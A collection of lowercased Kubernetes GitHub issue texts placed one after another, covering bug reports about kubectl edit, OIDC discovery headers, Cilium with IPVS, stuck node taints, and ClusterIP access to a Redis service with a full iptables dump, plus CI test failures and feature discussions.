16.04.3 lts  xenial xerus \ \r - kernel  e.g.  uname -a  :\r 4.4.0-78-generic  99-ubuntu smp thu apr 27 15:29:09 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r \r i will attach logs from controller manager.

both in pr and ci runs\r \r see https://storage.googleapis.com/k8s-gubernator/triage/index.html?pr=1&test=testversionedclusterscopedcrd\r \r /assign @mbohlool

is this a bug report or feature request?  :\r \r >  >  \r \r   what happened  :\r when i use kubectl edit command to change podip field, it say i have edited. but nothing happened. \r   what you expected to happen  :\r either change the podip, or say i should not be changed.\r   how to reproduce it  as minimally and precisely as possible   :\r kubectl edit pod xxx, look for podip, and give it a new internal ip address,they :wq exit.\r \r   anything else we need to know?  :\r no\r   environment  :\r - kubernetes version  use  kubectl version  :1.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos\r - kernel  e.g.  uname -a  :linux master1 4.4.98-1.el7.elrepo.x86_64  1 smp wed nov 15 12:29:46 est 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

what happened  :\r oidc does not seem to work in  1.9.11  when  .well-known/openid-configuration  has an  expires  http header of  -1 :\r    \r oidc.go:190  oidc authenticator: failed to fetch provider discovery data: parsing time \ -1\  as \ mon, 02 jan 2006 15:04:05 mst\ : cannot parse \ -1\  as \ mon\ \r    \r \r   what you expected to happen  :\r  kubectl get pods  to work when using an oidc user.\r \r   how to reproduce it  as minimally and precisely as possible   :\r using:  image: gcr.io/google_containers/kube-apiserver:v1.9.11  with something like:\r \r    \r kube-apiserver  ...  --oidc-client-id=spn:12345678-abcd-1234-efgh-12345678 --oidc-groups-claim=groups --oidc-issuer-url=https://sts.windows.net/987654321-9876-9876-987654321abcdef/ --oidc-username-claim=upn\r    \r    \r curl -is https://sts.windows.net/987654321-9876-9876-987654321abcdef/.well-known/openid-configuration\r http/1.1 200 ok\r cache-control: no-cache, no-store\r pragma: no-cache\r content-length: 0\r content-type: text/html; charset=utf-8\r expires: -1\r    \r \r   anything else we need to know?  :\r it was working in my other clusters on  1.9.6  and  1.9.8 .  \r this cluster i took straight from  1.9.6  ->  1.9.11  and enabled oidc in one go _ so oidc has never been configured on this cluster ._\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.9.11 \r - cloud provider or hardware configuration:  aws \r - os  e.g. from /etc/os-release :  container linux by coreos 1911.4.0  rhyolite  \r - kernel  e.g.  uname -a  :  4.14.81-coreos \r - install tools:  kops \r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r when running with cilium cni together with kube-proxy in ipvs mode\r atfer running some time cilium pods crash with\r    \r level=warning msg=\ ++ ip -4 addr show to 10.233.74.1\  subsys=daemon\r level=warning msg=\ error: buffer too small for object.\  subsys=daemon\r    \r issuing\r  ip -4 addr show \r on any node returns same result.\r   what you expected to happen  :\r i expect for cilium pods to be able to read ip -4 addr without problems\r   how to reproduce it  as minimally and precisely as possible   :\r install cilium with default settings, use kube-proxy in ipvs mode. add some services and wait for a while. when ip -4 show addr starts to fail, try to delete cilium pods. they won't be able to start.\r   anything else we need to know?  :\r flushing interfaces works for a while, but in long term problem persists \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:30:26z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:30:26z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r on premises / kvm vm's on proxmost hosts, typical worker 12vcpu 20g of memory each \r - os  e.g:  cat /etc/os-release  :\r  ubuntu 18.04.2\r - kernel  e.g.  uname -a  :\r  5.0.0-050000rc2-generic\r - install tools:\r kubespray\r - others:\r docker 18.6.2

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r   what happened  :\r found my worker nodes in not ready state - determined both nodes tainted. issued command to untainted the nodes and got confirmation that nodes were untainted but checking again the taint remained.\r \r   what you expected to happen  :\r tainted status to be removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubectl taint nodes --all node.kubernetes.io/unreachable:noschedule- \r kubectl  taint nodes --all           node.kubernetes.io/unreachable:noschedule- \r node/k8s-node1 untainted\r node/k8s-node2 untainted\r error: taint \ node.kubernetes.io/unreachable:noschedule\  not found\r \r but then\r \r $ kubectl describe no k8s-node1 | grep -i taint \r taints:             node.kubernetes.io/unreachable:noschedule\r \r   anything else we need to know?  :\r https://stackoverflow.com/questions/56614136/how-to-remove-kube-taints-from-worker-nodes-taints-node-kubernetes-io-unreachab\r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

e2e_test.go  is useful for any downstream consumers of kube, i.e. openshift.      lets allow its constants and functionality to be easily called by a _test.go function in other projects     i proposed we can do this by  - separating some of the arg/ test runner functionality out into a non _test  .go file. - e2e_test.go can just be a thin wrapper.

the setting was added late last year and we've just started using a version of fluentd that includes it. it sounds great, in that it causes the input half of fluentd to stop reading input whenever the output buffer is full  when normally the input half would just drop any input it reads during that time . given that all our input comes from files on disk, this makes a lot of sense.  however, it's a pretty significant change to how the agent works, and the fluentd folks themselves don't seem very hot on the idea, so we should do some due diligence on it first before starting to use it. i tested it a bit this morning and at the very least it didn't cause fluentd to crash or hang when i filled up a buffer, but i didn't validate that it didn't drop anything.  cc @jimmidyson @mr-salty

we populate description fields for some of the cloud resources that we create for users, e.g. including the namespaced service name and service ip in the description of gce firewalls for external load balancers. we should also include the cluster name field where appropriate.

i have a kubernetes cluster which contains three nodes, the cluster version info are:\r \r    \r \r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:15:30z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:08:43z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r \r \r \r node info:\r \r    \r \r \r  root@ipattern-core16 ~   kubectl get node\r \r name                   status    age\r \r ipattern-core16.iad1   ready     32d\r \r ipattern-core26.iad1   ready     32d\r \r ipattern-core27.iad1   ready     32d\r \r    \r \r i have a redis deployment:\r \r \r \r    \r \r  root@ipattern-core16 ~   kubectl describe po logs-redis\r \r name:\t\tlogs-redis-4100146595-k74w6\r \r namespace:\tdefault\r \r node:\t\tipattern-core27.iad1/10.40.185.13\r \r start time:\ttue, 29 nov 2016 05:43:27 +0000\r \r labels:\t\tapp=logs-redis\r \r \t\tfeature=infra\r \r \t\tlevel=production\r \r \t\tpod-template-hash=4100146595\r \r \t\tversion=3.0\r \r status:\t\trunning\r \r ip:\t\t172.17.53.2\r \r controllers:\treplicaset/logs-redis-4100146595\r \r containers:\r \r   logs-redis:\r \r     container id:\tdocker://69d2fd0ea8f6851aec154c175a360059276e042d71c7ab117468d965fab35a36\r \r     image:\t\tregistry.ipattern.com:30500/redis:3.0\r \r     image id:\t\tdocker://sha256:468afbdbfad664753edfd120c752f44e0bd9101c1b32d12361141aa4879f9665\r \r     port:\t\t6379/tcp\r \r     limits:\r \r       cpu:\t1\r \r       memory:\t24gi\r \r     requests:\r \r       cpu:\t\t\t800m\r \r       memory:\t\t\t20gi\r \r     state:\t\t\trunning\r \r       started:\t\t\ttue, 29 nov 2016 08:49:18 +0000\r \r     last state:\t\t\tterminated\r \r       reason:\t\t\terror\r \r       exit code:\t\t137\r \r       started:\t\t\ttue, 29 nov 2016 05:45:43 +0000\r \r       finished:\t\t\ttue, 29 nov 2016 08:49:10 +0000\r \r     ready:\t\t\ttrue\r \r     restart count:\t\t1\r \r     environment variables:\t<none>\r \r conditions:\r \r   type\t\tstatus\r \r   initialized \ttrue\r \r   ready \ttrue\r \r   podscheduled \ttrue\r \r volumes:\r \r   redis-data:\r \r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r \r     claimname:\tlogstash-redis\r \r     readonly:\tfalse\r \r qos tier:\tburstable\r \r no events.\r \r    \r \r and a service expose the redis server using nodeport:\r \r    \r \r  root@ipattern-core16 ~   kubectl describe svc logs-redis\r \r name:\t\t\tlogs-redis\r \r namespace:\t\tdefault\r \r labels:\t\t\tapp=logs-redis\r \r selector:\t\tapp=logs-redis\r \r type:\t\t\tnodeport\r \r ip:\t\t\t10.254.192.195\r \r port:\t\t\t<unset>\t6379/tcp\r \r nodeport:\t\t<unset>\t30000/tcp\r \r endpoints:\t\t172.17.53.2:6379\r \r session affinity:\tnone\r \r no events.\r \r    \r \r i can access the redis server on each node within the cluster using the command:\r \r    \r \r redis-cli -h 172.17.53.2 -p 6379 -n 0\r \r    \r \r and also able to access it outside the cluster using all the following server:nodeport:\r \r    \r \r redis-cli -h ipattern-core16.iad1 -p 30000 -n 0\r \r redis-cli -h ipattern-core26.iad1 -p 30000 -n 0\r \r redis-cli -h ipattern-core27.iad1 -p 30000 -n 0\r \r    \r \r the problem is i can't access to the redis server using clusterip inside the cluster:\r \r    \r \r redis-cli -h 10.254.192.195 -p 6379 -n 0\r \r    \r \r the command only succeed when execute on ipattern-core27.iad1 because the pod is running on this server .\r \r \r \r i use iptables mode in kube-proxy, and the iptables rules:\r \r    \r \r \r  root@ipattern-core16 ~   iptables-save\r \r   generated by iptables-save v1.4.21 on tue nov 29 15:35:56 2016\r \r  filter\r \r :input accept  15:1160 \r \r :forward accept  0:0 \r \r :output accept  11:1222 \r \r :docker -  0:0 \r \r :docker-isolation -  0:0 \r \r :kube-firewall -  0:0 \r \r :kube-services -  0:0 \r \r -a input -j kube-firewall\r \r -a forward -j docker-isolation\r \r -a forward -o docker0 -j docker\r \r -a forward -o docker0 -m conntrack --ctstate related,established -j accept\r \r -a forward -i docker0 ! -o docker0 -j accept\r \r -a forward -i docker0 -o docker0 -j accept\r \r -a output -j kube-firewall\r \r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r \r -a docker-isolation -j return\r \r -a kube-firewall -m comment --comment \ kubernetes firewall for dropping marked packets\  -m mark --mark 0x8000/0x8000 -j drop\r \r commit\r \r   completed on tue nov 29 15:35:56 2016\r \r   generated by iptables-save v1.4.21 on tue nov 29 15:35:56 2016\r \r  nat\r \r :prerouting accept  1:60 \r \r :input accept  1:60 \r \r :output accept  0:0 \r \r :postrouting accept  0:0 \r \r :docker -  0:0 \r \r :kube-mark-drop -  0:0 \r \r :kube-mark-masq -  0:0 \r \r :kube-nodeports -  0:0 \r \r :kube-postrouting -  0:0 \r \r :kube-sep-37wpgiefijuvimju -  0:0 \r \r :kube-sep-3cfrdlroelmsuijv -  0:0 \r \r :kube-sep-aem67qy3h37n4rzm -  0:0 \r \r :kube-sep-c5oxfyf6ilguxqyf -  0:0 \r \r :kube-sep-iutdyaze42oyvb5m -  0:0 \r \r :kube-sep-jik65vxjjkdpnsh2 -  0:0 \r \r :kube-sep-k2uvswgo5a3gel4r -  0:0 \r \r :kube-sep-mefdtctj6nobh3t3 -  0:0 \r \r :kube-sep-qov4jk5g24yh5rzl -  0:0 \r \r :kube-sep-sdgvumpumyejakxx -  0:0 \r \r :kube-sep-sedj64ygk73kzoap -  0:0 \r \r :kube-sep-sogqd5sb5cclrmzd -  0:0 \r \r :kube-sep-syqwygw7pj5ptfh2 -  0:0 \r \r :kube-sep-w4sh24n3xrv4vi4p -  0:0 \r \r :kube-sep-xp7zrhngoqihfqsk -  0:0 \r \r :kube-sep-zoqpnikitu5avhsh -  0:0 \r \r :kube-services -  0:0 \r \r :kube-svc-6nxsghi464okugd3 -  0:0 \r \r :kube-svc-bjm46v3u5rzhcfrz -  0:0 \r \r :kube-svc-ck6hvv5a27tdfnia -  0:0 \r \r :kube-svc-fhmnesdvrd4zencx -  0:0 \r \r :kube-svc-ghx4csb27t4ax5sw -  0:0 \r \r :kube-svc-jrxtehddtafmseas -  0:0 \r \r :kube-svc-l6hhflft3op6dadc -  0:0 \r \r :kube-svc-npx46m4ptmtkrn6y -  0:0 \r \r :kube-svc-qv6rz5hm3subqi4u -  0:0 \r \r -a prerouting -m comment --comment \ kubernetes service portals\  -j kube-services\r \r -a prerouting -m addrtype --dst-type local -j docker\r \r -a output -m comment --comment \ kubernetes service portals\  -j kube-services\r \r -a output ! -d 127.0.0.0/8 -m addrtype --dst-type local -j docker\r \r -a postrouting -s 172.17.41.0/24 ! -o docker0 -j masquerade\r \r -a postrouting -m comment --comment \ kubernetes postrouting rules\  -j kube-postrouting\r \r -a docker -i docker0 -j return\r \r -a kube-mark-drop -j mark --set-xmark 0x8000/0x8000\r \r -a kube-mark-masq -j mark --set-xmark 0x4000/0x4000\r \r -a kube-nodeports -p tcp -m comment --comment \ default/kube-private-registry:\  -m tcp --dport 30500 -j kube-mark-masq\r \r -a kube-nodeports -p tcp -m comment --comment \ default/kube-private-registry:\  -m tcp --dport 30500 -j kube-svc-fhmnesdvrd4zencx\r \r -a kube-nodeports -p tcp -m comment --comment \ default/logs-redis:\  -m tcp --dport 30000 -j kube-mark-masq\r \r -a kube-nodeports -p tcp -m comment --comment \ default/logs-redis:\  -m tcp --dport 30000 -j kube-svc-qv6rz5hm3subqi4u\r \r -a kube-nodeports -p tcp -m comment --comment \ default/mxcloud-redis:\  -m tcp --dport 30003 -j kube-mark-masq\r \r -a kube-nodeports -p tcp -m comment --comment \ default/mxcloud-redis:\  -m tcp --dport 30003 -j kube-svc-l6hhflft3op6dadc\r \r -a kube-nodeports -p tcp -m comment --comment \ kube-system/monitoring-grafana:\  -m tcp --dport 30601 -j kube-mark-masq\r \r -a kube-nodeports -p tcp -m comment --comment \ kube-system/monitoring-grafana:\  -m tcp --dport 30601 -j kube-svc-jrxtehddtafmseas\r \r -a kube-nodeports -p tcp -m comment --comment \ kube-system/monitoring-influxdb:api\  -m tcp --dport 30602 -j kube-mark-masq\r \r -a kube-nodeports -p tcp -m comment --comment \ kube-system/monitoring-influxdb:api\  -m tcp --dport 30602 -j kube-svc-ck6hvv5a27tdfnia\r \r -a kube-nodeports -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp --dport 30001 -j kube-mark-masq\r \r -a kube-nodeports -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp --dport 30001 -j kube-svc-ghx4csb27t4ax5sw\r \r -a kube-postrouting -m comment --comment \ kubernetes service traffic requiring snat\  -m mark --mark 0x4000/0x4000 -j masquerade\r \r -a kube-sep-37wpgiefijuvimju -s 10.40.185.11/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r \r -a kube-sep-37wpgiefijuvimju -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-37wpgiefijuvimju --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.40.185.11:6443\r \r -a kube-sep-3cfrdlroelmsuijv -s 10.40.185.13/32 -m comment --comment \ default/glusterfs-cluster:\  -j kube-mark-masq\r \r -a kube-sep-3cfrdlroelmsuijv -p tcp -m comment --comment \ default/glusterfs-cluster:\  -m tcp -j dnat --to-destination 10.40.185.13:1\r \r -a kube-sep-aem67qy3h37n4rzm -s 172.17.41.3/32 -m comment --comment \ default/mxcloud-2nd:\  -j kube-mark-masq\r \r -a kube-sep-aem67qy3h37n4rzm -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp -j dnat --to-destination 172.17.41.3:8080\r \r -a kube-sep-c5oxfyf6ilguxqyf -s 172.17.27.3/32 -m comment --comment \ kube-system/monitoring-grafana:\  -j kube-mark-masq\r \r -a kube-sep-c5oxfyf6ilguxqyf -p tcp -m comment --comment \ kube-system/monitoring-grafana:\  -m tcp -j dnat --to-destination 172.17.27.3:3000\r \r -a kube-sep-iutdyaze42oyvb5m -s 172.17.27.5/32 -m comment --comment \ default/mxcloud-redis:\  -j kube-mark-masq\r \r -a kube-sep-iutdyaze42oyvb5m -p tcp -m comment --comment \ default/mxcloud-redis:\  -m tcp -j dnat --to-destination 172.17.27.5:6379\r \r -a kube-sep-jik65vxjjkdpnsh2 -s 172.17.27.7/32 -m comment --comment \ default/mxcloud-2nd:\  -j kube-mark-masq\r \r -a kube-sep-jik65vxjjkdpnsh2 -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp -j dnat --to-destination 172.17.27.7:8080\r \r -a kube-sep-k2uvswgo5a3gel4r -s 172.17.27.2/32 -m comment --comment \ kube-system/heapster:\  -j kube-mark-masq\r \r -a kube-sep-k2uvswgo5a3gel4r -p tcp -m comment --comment \ kube-system/heapster:\  -m tcp -j dnat --to-destination 172.17.27.2:8082\r \r -a kube-sep-mefdtctj6nobh3t3 -s 10.40.185.11/32 -m comment --comment \ default/glusterfs-cluster:\  -j kube-mark-masq\r \r -a kube-sep-mefdtctj6nobh3t3 -p tcp -m comment --comment \ default/glusterfs-cluster:\  -m tcp -j dnat --to-destination 10.40.185.11:1\r \r -a kube-sep-qov4jk5g24yh5rzl -s 172.17.27.6/32 -m comment --comment \ default/kube-private-registry:\  -j kube-mark-masq\r \r -a kube-sep-qov4jk5g24yh5rzl -p tcp -m comment --comment \ default/kube-private-registry:\  -m tcp -j dnat --to-destination 172.17.27.6:5000\r \r -a kube-sep-sdgvumpumyejakxx -s 172.17.53.4/32 -m comment --comment \ default/mxcloud-2nd:\  -j kube-mark-masq\r \r -a kube-sep-sdgvumpumyejakxx -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp -j dnat --to-destination 172.17.53.4:8080\r \r -a kube-sep-sedj64ygk73kzoap -s 10.40.185.12/32 -m comment --comment \ default/glusterfs-cluster:\  -j kube-mark-masq\r \r -a kube-sep-sedj64ygk73kzoap -p tcp -m comment --comment \ default/glusterfs-cluster:\  -m tcp -j dnat --to-destination 10.40.185.12:1\r \r -a kube-sep-sogqd5sb5cclrmzd -s 172.17.53.2/32 -m comment --comment \ default/logs-redis:\  -j kube-mark-masq\r \r -a kube-sep-sogqd5sb5cclrmzd -p tcp -m comment --comment \ default/logs-redis:\  -m tcp -j dnat --to-destination 172.17.53.2:6379\r \r -a kube-sep-syqwygw7pj5ptfh2 -s 172.17.41.2/32 -m comment --comment \ default/mxcloud-2nd:\  -j kube-mark-masq\r \r -a kube-sep-syqwygw7pj5ptfh2 -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp -j dnat --to-destination 172.17.41.2:8080\r \r -a kube-sep-w4sh24n3xrv4vi4p -s 172.17.27.4/32 -m comment --comment \ kube-system/monitoring-influxdb:api\  -j kube-mark-masq\r \r -a kube-sep-w4sh24n3xrv4vi4p -p tcp -m comment --comment \ kube-system/monitoring-influxdb:api\  -m tcp -j dnat --to-destination 172.17.27.4:8086\r \r -a kube-sep-xp7zrhngoqihfqsk -s 172.17.53.3/32 -m comment --comment \ default/mxcloud-2nd:\  -j kube-mark-masq\r \r -a kube-sep-xp7zrhngoqihfqsk -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp -j dnat --to-destination 172.17.53.3:8080\r \r -a kube-sep-zoqpnikitu5avhsh -s 172.17.27.8/32 -m comment --comment \ default/mxcloud-2nd:\  -j kube-mark-masq\r \r -a kube-sep-zoqpnikitu5avhsh -p tcp -m comment --comment \ default/mxcloud-2nd:\  -m tcp -j dnat --to-destination 172.17.27.8:8080\r \r -a kube-services -d 10.254.162.140/32 -p tcp -m comment --comment \ kube-system/heapster: cluster ip\  -m tcp --dport 80 -j kube-svc-bjm46v3u5rzhcfrz\r \r -a kube-services -d 10.254.133.13/32 -p tcp -m comment --comment \ default/kube-private-registry: cluster ip\  -m tcp --dport 5000 -j kube-svc-fhmnesdvrd4zencx\r \r -a kube-services -d 10.254.192.195/32 -p tcp -m comment --comment \ default/logs-redis: cluster ip\  -m tcp --dport 6379 -j kube-svc-qv6rz5hm3subqi4u\r \r -a kube-services -d 10.254.149.117/32 -p tcp -m comment --comment \ default/mxcloud-redis: cluster ip\  -m tcp --dport 6379 -j kube-svc-l6hhflft3op6dadc\r \r -a kube-services -d 10.254.122.223/32 -p tcp -m comment --comment \ kube-system/monitoring-grafana: cluster ip\  -m tcp --dport 80 -j kube-svc-jrxtehddtafmseas\r \r -a kube-services -d 10.254.150.248/32 -p tcp -m comment --comment \ default/glusterfs-cluster: cluster ip\  -m tcp --dport 1 -j kube-svc-6nxsghi464okugd3\r \r -a kube-services -d 10.254.0.1/32 -p tcp -m comment --comment \ default/kubernetes:https cluster ip\  -m tcp --dport 443 -j kube-svc-npx46m4ptmtkrn6y\r \r -a kube-services -d 10.254.246.10/32 -p tcp -m comment --comment \ kube-system/monitoring-influxdb:api cluster ip\  -m tcp --dport 8086 -j kube-svc-ck6hvv5a27tdfnia\r \r -a kube-services -d 10.254.35.94/32 -p tcp -m comment --comment \ default/mxcloud-2nd: cluster ip\  -m tcp --dport 8080 -j kube-svc-ghx4csb27t4ax5sw\r \r -a kube-services -m comment --comment \ kubernetes service nodeports; note: this must be the last rule in this chain\  -m addrtype --dst-type local -j kube-nodeports\r \r -a kube-svc-6nxsghi464okugd3 -m comment --comment \ default/glusterfs-cluster:\  -m statistic --mode random --probability 0.33332999982 -j kube-sep-mefdtctj6nobh3t3\r \r -a kube-svc-6nxsghi464okugd3 -m comment --comment \ default/glusterfs-cluster:\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-sedj64ygk73kzoap\r \r -a kube-svc-6nxsghi464okugd3 -m comment --comment \ default/glusterfs-cluster:\  -j kube-sep-3cfrdlroelmsuijv\r \r -a kube-svc-bjm46v3u5rzhcfrz -m comment --comment \ kube-system/heapster:\  -j kube-sep-k2uvswgo5a3gel4r\r \r -a kube-svc-ck6hvv5a27tdfnia -m comment --comment \ kube-system/monitoring-influxdb:api\  -j kube-sep-w4sh24n3xrv4vi4p\r \r -a kube-svc-fhmnesdvrd4zencx -m comment --comment \ default/kube-private-registry:\  -j kube-sep-qov4jk5g24yh5rzl\r \r -a kube-svc-ghx4csb27t4ax5sw -m comment --comment \ default/mxcloud-2nd:\  -m statistic --mode random --probability 0.16667000018 -j kube-sep-jik65vxjjkdpnsh2\r \r -a kube-svc-ghx4csb27t4ax5sw -m comment --comment \ default/mxcloud-2nd:\  -m statistic --mode random --probability 0.20000000019 -j kube-sep-zoqpnikitu5avhsh\r \r -a kube-svc-ghx4csb27t4ax5sw -m comment --comment \ default/mxcloud-2nd:\  -m statistic --mode random --probability 0.25000000000 -j kube-sep-syqwygw7pj5ptfh2\r \r -a kube-svc-ghx4csb27t4ax5sw -m comment --comment \ default/mxcloud-2nd:\  -m statistic --mode random --probability 0.33332999982 -j kube-sep-aem67qy3h37n4rzm\r \r -a kube-svc-ghx4csb27t4ax5sw -m comment --comment \ default/mxcloud-2nd:\  -m statistic --mode random --probability 0.50000000000 -j kube-sep-xp7zrhngoqihfqsk\r \r -a kube-svc-ghx4csb27t4ax5sw -m comment --comment \ default/mxcloud-2nd:\  -j kube-sep-sdgvumpumyejakxx\r \r -a kube-svc-jrxtehddtafmseas -m comment --comment \ kube-system/monitoring-grafana:\  -j kube-sep-c5oxfyf6ilguxqyf\r \r -a kube-svc-l6hhflft3op6dadc -m comment --comment \ default/mxcloud-redis:\  -j kube-sep-iutdyaze42oyvb5m\r \r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -m recent --rcheck --seconds 180 --reap --name kube-sep-37wpgiefijuvimju --mask 255.255.255.255 --rsource -j kube-sep-37wpgiefijuvimju\r \r -a kube-svc-npx46m4ptmtkrn6y -m comment --comment \ default/kubernetes:https\  -j kube-sep-37wpgiefijuvimju\r \r -a kube-svc-qv6rz5hm3subqi4u -m comment --comment \ default/logs-redis:\  -j kube-sep-sogqd5sb5cclrmzd\r \r commit\r \r   completed on tue nov 29 15:35:56 2016\r \r     \r \r \r \r rules related to this service are:\r \r    \r \r \r  root@ipattern-core16 ~   iptables-save | grep logs-redis\r \r -a kube-nodeports -p tcp -m comment --comment \ default/logs-redis:\  -m tcp --dport 30000 -j kube-mark-masq\r \r -a kube-nodeports -p tcp -m comment --comment \ default/logs-redis:\  -m tcp --dport 30000 -j kube-svc-qv6rz5hm3subqi4u\r \r -a kube-sep-sogqd5sb5cclrmzd -s 172.17.53.2/32 -m comment --comment \ default/logs-redis:\  -j kube-mark-masq\r \r -a kube-sep-sogqd5sb5cclrmzd -p tcp -m comment --comment \ default/logs-redis:\  -m tcp -j dnat --to-destination 172.17.53.2:6379\r \r -a kube-services -d 10.254.192.195/32 -p tcp -m comment --comment \ default/logs-redis: cluster ip\  -m tcp --dport 6379 -j kube-svc-qv6rz5hm3subqi4u\r \r -a kube-svc-qv6rz5hm3subqi4u -m comment --comment \ default/logs-redis:\  -j kube-sep-sogqd5sb5cclrmzd\r \r    \r \r \r \r can anyone help on it ? and kindly let me know if you need more information.\r \r thanks.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/265/ failed:  k8s.io  resource-usage  serial   slow  regular resource usage tracking resource tracking for 10 pods per node {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/resource_usage_test.go:90 feb 25 21:06:04.372: memory usage exceeding limits:  node tmp-node-e2e-a4a3772e-coreos-alpha-1122-0-0-v20160727:  container \ kubelet\ : expected rss memory  mb  < 104857600; got 110682112 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/resource_usage_test.go:247       previous issues for this test:  30525  31835

for the last few runs of kubemark-5000  463-467 , we have the load test failing due to high api latencies for list calls of nodes, endpoints and services  occasionally :\r \r    \r i0610 04:46:03.934    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/perf/load.go:102\r i0610 04:46:04.084  jun 10 04:46:04.084: info: warning top latency metric: {resource:endpoints subresource: verb:list latency:{perc50:696.853ms perc90:1.236568s perc99:1.313812s perc100:0s} count:75}\r i0610 04:46:04.085  jun 10 04:46:04.084: info: warning top latency metric: {resource:nodes subresource: verb:list latency:{perc50:462.651ms perc90:969.152ms perc99:1.296495s perc100:0s} count:2159}\r i0610 04:46:04.085  jun 10 04:46:04.084: info: top latency metric: {resource:services subresource: verb:list latency:{perc50:285.09ms perc90:711.905ms perc99:784.695ms perc100:0s} count:636}\r i0610 04:46:04.085  jun 10 04:46:04.084: info: top latency metric: {resource:services subresource: verb:delete latency:{perc50:34.852ms perc90:110.382ms perc99:417.451ms perc100:0s} count:16400}\r i0610 04:46:04.085  jun 10 04:46:04.084: info: top latency metric: {resource:nodes subresource:status verb:patch latency:{perc50:5.29ms perc90:33.798ms perc99:237.749ms perc100:0s} count:24993515}\r    \r  from run 463 \r \r previously  when the test was green  we had:\r    \r i0512 03:14:41.417    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/perf/load.go:98\r i0512 03:14:41.508  may 12 03:14:41.507: info: top latency metric: {resource:services verb:delete latency:{perc50:234.162ms perc90:311.069ms perc99:615.538ms perc100:0s} count:16400}\r i0512 03:14:41.508  may 12 03:14:41.507: info: top latency metric: {resource:nodes verb:patch latency:{perc50:27.356ms perc90:166.742ms perc99:332.022ms perc100:0s} count:28440284}\r i0512 03:14:41.508  may 12 03:14:41.507: info: top latency metric: {resource:namespaces verb:get latency:{perc50:2.149ms perc90:68.697ms perc99:211.781ms perc100:0s} count:11463}\r i0512 03:14:41.508  may 12 03:14:41.507: info: top latency metric: {resource:endpoints verb:get latency:{perc50:892âµs perc90:69.439ms perc99:162.77ms perc100:0s} count:2652095}\r i0512 03:14:41.508  may 12 03:14:41.507: info: top latency metric: {resource:endpoints verb:delete latency:{perc50:1.218ms perc90:70.854ms perc99:154.922ms perc100:0s} count:17017}\r    \r  from run 416 \r \r so only the list request latencies shot up. looking for the faulty pr.\r \r cc @kubernetes/sig-scalability-bugs @kubernetes/sig-api-machinery-bugs @gmarek @wojtek-t

kubectl caches api discovery results without being aware of its changes. registering/removing a new api service with api aggregator results in a change in api discovery but kubectl has no way to know the result is changed.\r \r possible solutions:\r \r short term - implement e-tag for api discovery\r long term - move to openapi for api discovery\r \r this is possibly a release blocker.\r \r cc @lavalamp @pwittrock @dchen1107\r \r @kubernetes/sig-cli-misc @kubernetes/sig-api-machinery-misc

